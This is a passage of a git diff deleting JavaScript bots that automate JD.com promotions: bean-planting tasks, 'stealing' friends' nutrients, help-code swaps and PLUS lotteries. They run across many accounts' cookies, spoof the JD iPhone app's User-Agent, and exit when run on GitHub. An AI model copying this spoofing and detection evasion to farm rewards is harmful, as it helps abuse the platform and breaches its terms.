$.myPlantUuid = getParam(shareUrl, 'plantUuid') - console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.myPlantUuid}\n`); - jdPlantBeanShareArr.push($.myPlantUuid) - - roundList = $.plantBeanIndexResult.data.roundList; - currentRoundId = roundList[num].roundId;//本期的roundId - lastRoundId = roundList[num - 1].roundId;//上期的roundId - awardState = roundList[num - 1].awardState; - $.taskList = $.plantBeanIndexResult.data.taskList; - subTitle = `【京东昵称】${$.plantBeanIndexResult.data.plantUserInfo.plantNickName}`; - lnrun++; - await doHelp(); - if (lnrun == 3) { - console.log(`\n【访问接口次数达到3次,休息半分钟.....】\n`); - await $.wait(30 * 1000); - lnrun = 0; - } - await $.wait(3 * 1000); - } else { - console.log(`种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}`); - } - } catch (e) { - $.logErr(e); - const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; - // if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); - //$.msg($.name, '', `${errMsg}`) - } -} -//助力好友 -async function doHelp() { - - console.log(`\n【开始账号内互助】\n`); - $.newShareCode = [...(jdPlantBeanShareArr || [])] - - for (let plantUuid of $.newShareCode) { - console.log(`【${$.UserName}】开始助力: ${plantUuid}`); - if (!plantUuid) continue; - if (plantUuid === $.myPlantUuid || $.plantBeanIndexResult.errorCode === 'PB101' ) { - console.log(`\n跳过自己的plantUuid\n`) - continue - } - lnruns++; - await helpShare(plantUuid); - if (lnruns == 5) { - console.log(`\n【访问接口次数达到5次,休息半分钟.....】\n`); - await $.wait(30 * 1000); - lnruns = 0; - } - if ($.helpResult && $.helpResult.code === '0' && $.helpResult.data) { - console.log(`助力好友结果: ${JSON.stringify($.helpResult.data.helpShareRes)}`); - if ($.helpResult.data && $.helpResult.data.helpShareRes) { - if ($.helpResult.data.helpShareRes.state === '1') { - console.log(`助力好友${plantUuid}成功`) - console.log(`${$.helpResult.data.helpShareRes.promptText}\n`); - } else if ($.helpResult.data.helpShareRes.state === '2') { - console.log('您今日助力的机会已耗尽,已不能再帮助好友助力了\n'); - break; - } else if ($.helpResult.data.helpShareRes.state === '3') { - console.log('该好友今日已满9人助力/20瓶营养液,明天再来为Ta助力吧\n') - } else if ($.helpResult.data.helpShareRes.state === '4') { - console.log(`${$.helpResult.data.helpShareRes.promptText}\n`) - } else { - console.log(`助力其他情况:${JSON.stringify($.helpResult.data.helpShareRes)}`); - } - } - } else { - console.log(`助力好友失败: ${JSON.stringify($.helpResult)}`); - break; - } - } -} -function showMsg() { - $.log(`\n${message}\n`); - jdNotify = $.getdata('jdPlantBeanNotify') ? $.getdata('jdPlantBeanNotify') : jdNotify; - if (!jdNotify || jdNotify === 'false') { - $.msg($.name, subTitle, message); - } -} -// ================================================此处是API================================= -//每轮种豆活动获取结束后,自动收取京豆 -async function getReward() { - const body = { - "roundId": lastRoundId - } - $.getReward = await request('receivedBean', body); -} -//收取营养液 -async function cultureBean(currentRoundId, nutrientsType) { - let functionId = arguments.callee.name.toString(); - let body = { - "roundId": currentRoundId, - "nutrientsType": nutrientsType, - } - $.cultureBeanRes = await request(functionId, body); -} -//偷营养液大于等于3瓶的好友 -//①查询好友列表 -async function stealFriendList() { - const body = { - pageNum: '1' - } - $.stealFriendList = await request('plantFriendList', body); -} - -//②执行偷好友营养液的动作 -async function collectUserNutr(paradiseUuid) { - console.log('开始偷好友'); - // console.log(paradiseUuid); - let functionId = arguments.callee.name.toString(); - const body = { - "paradiseUuid": paradiseUuid, - "roundId": currentRoundId - } - $.stealFriendRes = await request(functionId, body); -} -async function receiveNutrients() { - $.receiveNutrientsRes = await request('receiveNutrients', { "roundId": currentRoundId, "monitor_refer": "plant_receiveNutrients" }) - // console.log(`定时领取营养液结果:${JSON.stringify($.receiveNutrientsRes)}`) -} -async function plantEggDoLottery() { - $.plantEggDoLotteryResult = await requestGet('plantEggDoLottery'); -} -//查询天天扭蛋的机会 -async function egg() { - $.plantEggLotteryRes = await requestGet('plantEggLotteryIndex'); -} -async function productTaskList() { - let functionId = arguments.callee.name.toString(); - $.productTaskList = await requestGet(functionId, { "monitor_refer": "plant_productTaskList" }); -} -async function plantChannelTaskList() { - let functionId = arguments.callee.name.toString(); - $.plantChannelTaskList = await requestGet(functionId); - // console.log('$.plantChannelTaskList', $.plantChannelTaskList) -} -async function shopTaskList() { - let functionId = arguments.callee.name.toString(); - $.shopTaskListRes = await requestGet(functionId, { "monitor_refer": "plant_receiveNutrients" }); - // console.log('$.shopTaskListRes', $.shopTaskListRes) -} -async function receiveNutrientsTask(awardType) { - const functionId = arguments.callee.name.toString(); - const body = { - "monitor_refer": "receiveNutrientsTask", - "awardType": `${awardType}`, - } - $.receiveNutrientsTaskRes = await requestGet(functionId, body); -} -async function plantShareSupportList() { - $.shareSupportList = await requestGet('plantShareSupportList', { "roundId": "" }); - if ($.shareSupportList && $.shareSupportList.code === '0') { - const { data } = $.shareSupportList; - //当日北京时间0点时间戳 - const UTC8_Zero_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; - //次日北京时间0点时间戳 - const UTC8_End_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 + (24 * 60 * 60 * 1000); - let friendList = []; - data.map(item => { - if (UTC8_Zero_Time <= item['createTime'] && item['createTime'] < UTC8_End_Time) { - friendList.push(item); - } - }) - message += `【助力您的好友】共${friendList.length}人`; - } else { - console.log(`异常情况:${JSON.stringify($.shareSupportList)}`) - } -} -//助力好友的api -async function helpShare(plantUuid) { - console.log(`\n开始助力好友: ${plantUuid}`); - const body = { - "plantUuid": plantUuid, - "wxHeadImgUrl": "", - "shareUuid": "", - "followType": "1", - } - $.helpResult = await request(`plantBeanIndex`, body); - //console.log(`助力结果的code:${$.helpResult && $.helpResult.code}`); -} -async function plantBeanIndex() { - llerror=false; - $.plantBeanIndexResult = await request('plantBeanIndex'); //plantBeanIndexBody - if ($.plantBeanIndexResult.errorCode === 'PB101') { - console.log(`\n活动太火爆了,还是去买买买吧!\n`) - llerror=true; - return - } - if ($.plantBeanIndexResult.errorCode) { - console.log(`获取任务及基本信息出错,10秒后重试\n`) - await $.wait(10000); - $.plantBeanIndexResult = await request('plantBeanIndex'); - if ($.plantBeanIndexResult.errorCode === 'PB101') { - console.log(`\n活动太火爆了,还是去买买买吧!\n`) - llerror=true; - return - } - } - if ($.plantBeanIndexResult.errorCode) { - console.log(`获取任务及基本信息出错,30秒后重试\n`) - await $.wait(30000); - $.plantBeanIndexResult = await request('plantBeanIndex'); - if ($.plantBeanIndexResult.errorCode === 'PB101') { - console.log(`\n活动太火爆了,还是去买买买吧!\n`) - llerror=true; - return - } - } - if ($.plantBeanIndexResult.errorCode) { - console.log(`获取任务及基本信息失败,活动异常,换个时间再试试吧....`) - console.log("错误代码;" + $.plantBeanIndexResult.errorCode) - llerror=true; - return - } -} -function requestGet(function_id, body = {}) { - if (!body.version) { - body["version"] = "9.0.0.1"; - } - body["monitor_source"] = "plant_app_plant_index"; - body["monitor_refer"] = ""; - return new Promise(async resolve => { - await $.wait(2000); - const option = { - url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld`, - headers: { - 'Cookie': cookie, - 'Host': 'api.m.jd.com', - 'Accept': '*/*', - 'Connection': 'keep-alive', - 'User-Agent': 'JD4iPhone/167283 (iPhone;iOS 13.6.1;Scale/3.00)', - 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', - 'Accept-Encoding': 'gzip, deflate, br', - 'Content-Type': "application/x-www-form-urlencoded" - }, - timeout: 10000, - }; - $.get(option, (err, resp, data) => { - try { - if (err) { - console.log('\n种豆得豆: API查询请求失败 ‼️‼️') - $.logErr(err); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - }, - "timeout": 10000, - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function requireConfig() { - return new Promise(resolve => { - //console.log('开始获取种豆得豆配置文件\n') - notify = $.isNode() ? require('./sendNotify') : ''; - //Node.js用户请在jdCookie.js处填写京东ck; - const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; - const jdPlantBeanShareCodes = ''; - //IOS等用户直接用NobyDa的jd cookie - if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - if (jdCookieNode[item]) { - cookiesArr.push(jdCookieNode[item]) - } - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; - } else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); - } - console.log(`共${cookiesArr.length}个京东账号\n`) - $.shareCodesArr = []; - if ($.isNode()) { - Object.keys(jdPlantBeanShareCodes).forEach((item) => { - if (jdPlantBeanShareCodes[item]) { - $.shareCodesArr.push(jdPlantBeanShareCodes[item]) - } - }) - } else { - if ($.getdata('jd_plantBean_help_inviter')) $.shareCodesArr = $.getdata('jd_plantBean_help_inviter').split('\n').filter(item => !!item); - //console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_plantBean_help_inviter') ? $.getdata('jd_plantBean_help_inviter') : '暂无'}\n`); - } - // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); - //console.log(`您提供了${$.shareCodesArr.length}个账号的种豆得豆助力码\n`); - resolve() - }) -} -function request(function_id, body = {}) { - return new Promise(async resolve => { - await $.wait(2000); - $.post(taskUrl(function_id, body), (err, resp, data) => { - try { - if (err) { - console.log('\n种豆得豆: API查询请求失败 ‼️‼️') - console.log(`function_id:${function_id}`) - $.logErr(err); - } else { - data = JSON.parse(data); - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }) - }) -} -function taskUrl(function_id, body) { - body["version"] = "9.2.4.0"; - body["monitor_source"] = "plant_app_plant_index"; - body["monitor_refer"] = ""; - return { - url: JD_API_HOST, - body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=19_1601_50258_51885&build=167490&clientVersion=9.3.2`, - headers: { - "Cookie": cookie, - "Host": "api.m.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-Hans-CN;q=1,en-CN;q=0.9", - "Accept-Encoding": "gzip, deflate, br", - "Content-Type": "application/x-www-form-urlencoded" - }, - timeout: 10000, - } -} -function getParam(url, name) { - const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i") - const r = url.match(reg) - if (r != null) return unescape(r[2]); - return null; -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_plusLottery.js b/jd_plusLottery.js deleted file mode 100644 index 59289f165..000000000 --- a/jd_plusLottery.js +++ /dev/null @@ -1,226 +0,0 @@ -/* -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#逛PLUS抽京豆 -18 1 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_plusLottery.js, tag=逛PLUS抽京豆, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "18 1 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_plusLottery.js,tag=逛PLUS抽京豆 - -===============Surge================= -逛PLUS抽京豆 = type=cron,cronexp="18 1 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_plusLottery.js - -============小火箭========= -逛PLUS抽京豆 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_plusLottery.js, cronexpr="18 1 * * *", timeout=3600, enable=true -*/ -const $ = new Env('逛PLUS抽京豆'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await main() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function main() { - let encryptAssignmentId, exchangeRate, scoreExchangeId - let queryInteractiveInfo = await doApi("queryInteractiveInfo", {"encryptProjectId":"U13AR7JM6UNr2okmamEig7TD4Ef","ext":{"rewardEncryptAssignmentId":null,"needNum":50},"sourceCode":"aceaceqingzhan"}) - for (let key of Object.keys(queryInteractiveInfo.assignmentList)) { - let vo = queryInteractiveInfo.assignmentList[key] - if (vo.userVerificationInfo.userQulification) { - if ([1].includes(vo.assignmentType)) { - console.log(`去做【${vo.assignmentName}】`) - if (vo.ext[vo.ext.extraType][0].status !== 2) { - let doInteractiveAssignment = await doApi("doInteractiveAssignment", {"encryptProjectId":"U13AR7JM6UNr2okmamEig7TD4Ef","encryptAssignmentId":vo.encryptAssignmentId,"itemId":vo.ext[vo.ext.extraType][0].itemId,"sourceCode":"aceaceqingzhan"}) - if (doInteractiveAssignment.subCode === "0") { - for (let key of Object.keys(doInteractiveAssignment.rewardsInfo.successRewards)) { - let successRewards = doInteractiveAssignment.rewardsInfo.successRewards[key] - console.log(`${doInteractiveAssignment.msg},获得${successRewards.quantityDetails[0].quantity}${successRewards.quantityDetails[0].rewardName}`) - } - } else { - console.log(JSON.stringify(doInteractiveAssignment)); - } - await $.wait(2000) - } else { - console.log(`任务已完成`); - } - } else if (vo.assignmentType === 30) { - encryptAssignmentId = vo.encryptAssignmentId; - exchangeRate = vo.exchangeRate - scoreExchangeId = vo.scoreExchangeId - } - } else { - console.log(`您不是PLUS会员,无法参与此活动`) - return - } - } - let queryInteractiveRewardInfo = await doApi("queryInteractiveRewardInfo", {"encryptProjectId":"U13AR7JM6UNr2okmamEig7TD4Ef","ext":{"detailEncryptAssignmentIds":[],"needExchangeRestScore":1,"detailTypeFlag":"1"},"sourceCode":"aceaceqingzhan"}) - let lotteryNum, usedScore - if (queryInteractiveRewardInfo.subCode === "0") { - usedScore = queryInteractiveRewardInfo.exchangeRestScoreMap[scoreExchangeId] - lotteryNum = Math.floor(usedScore / exchangeRate) - console.log(`\n可以抽奖${lotteryNum}次`) - for (let i = lotteryNum; i > 0; i--) { - let doInteractiveAssignment = await doApi("doInteractiveAssignment", {"encryptProjectId":"U13AR7JM6UNr2okmamEig7TD4Ef","encryptAssignmentId":encryptAssignmentId,"completionFlag":true,"ext":{"exchangeNum":1},"sourceCode":"aceaceqingzhan"}) - if (doInteractiveAssignment.subCode === "0") { - for (let key of Object.keys(doInteractiveAssignment.rewardsInfo.successRewards)) { - let successRewards = doInteractiveAssignment.rewardsInfo.successRewards[key] - if (key === "3") { - console.log(`获得${successRewards[0].quantity}京豆`); - } else { - console.log(JSON.stringify(doInteractiveAssignment)); - } - } - } else { - console.log(JSON.stringify(doInteractiveAssignment)); - } - await $.wait(2000) - } - } -} - -function doApi(functionId, body) { - return new Promise(resolve=> { - let options = { - url: `https://api.m.jd.com/client.action?functionId=${functionId}`, - body: `appid=babelh5&body=${encodeURIComponent(JSON.stringify(body))}&sign=11&t=${Date.now()}`, - headers: { - "Host": "api.m.jd.com", - "Accept": "*/*", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://prodev.m.jd.com", - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Referer": "https://prodev.m.jd.com/", - "Accept-Encoding": "gzip, deflate, br", - "Cookie": cookie - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(JSON.stringify(err)) - console.log(`${$.name} ${functionId} API请求失败,请检查网路重试`); - resolve() - } else { - if (safeGet(data)) { - data = JSON.parse(data) - } - } - } catch (e) { - $.logErr(e, resp); - resolve() - } finally { - resolve(data) - } - }) - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", - headers: { - Host: "wq.jd.com", - Accept: "*/*", - Connection: "keep-alive", - Cookie: cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", - "Accept-Encoding": "gzip, deflate, br" - } - } - $.get(options, (err, resp, data) => { - try { - if (err) { - $.logErr(err) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 1001) { - $.isLogin = false; //cookie过期 - return; - } - if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { - $.nickName = data.data.userInfo.baseInfo.nickname; - } - } else { - console.log('京东服务器返回空数据'); - } - } - } catch (e) { - $.logErr(e) - } finally { - resolve(); - } - }) - }) -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -function 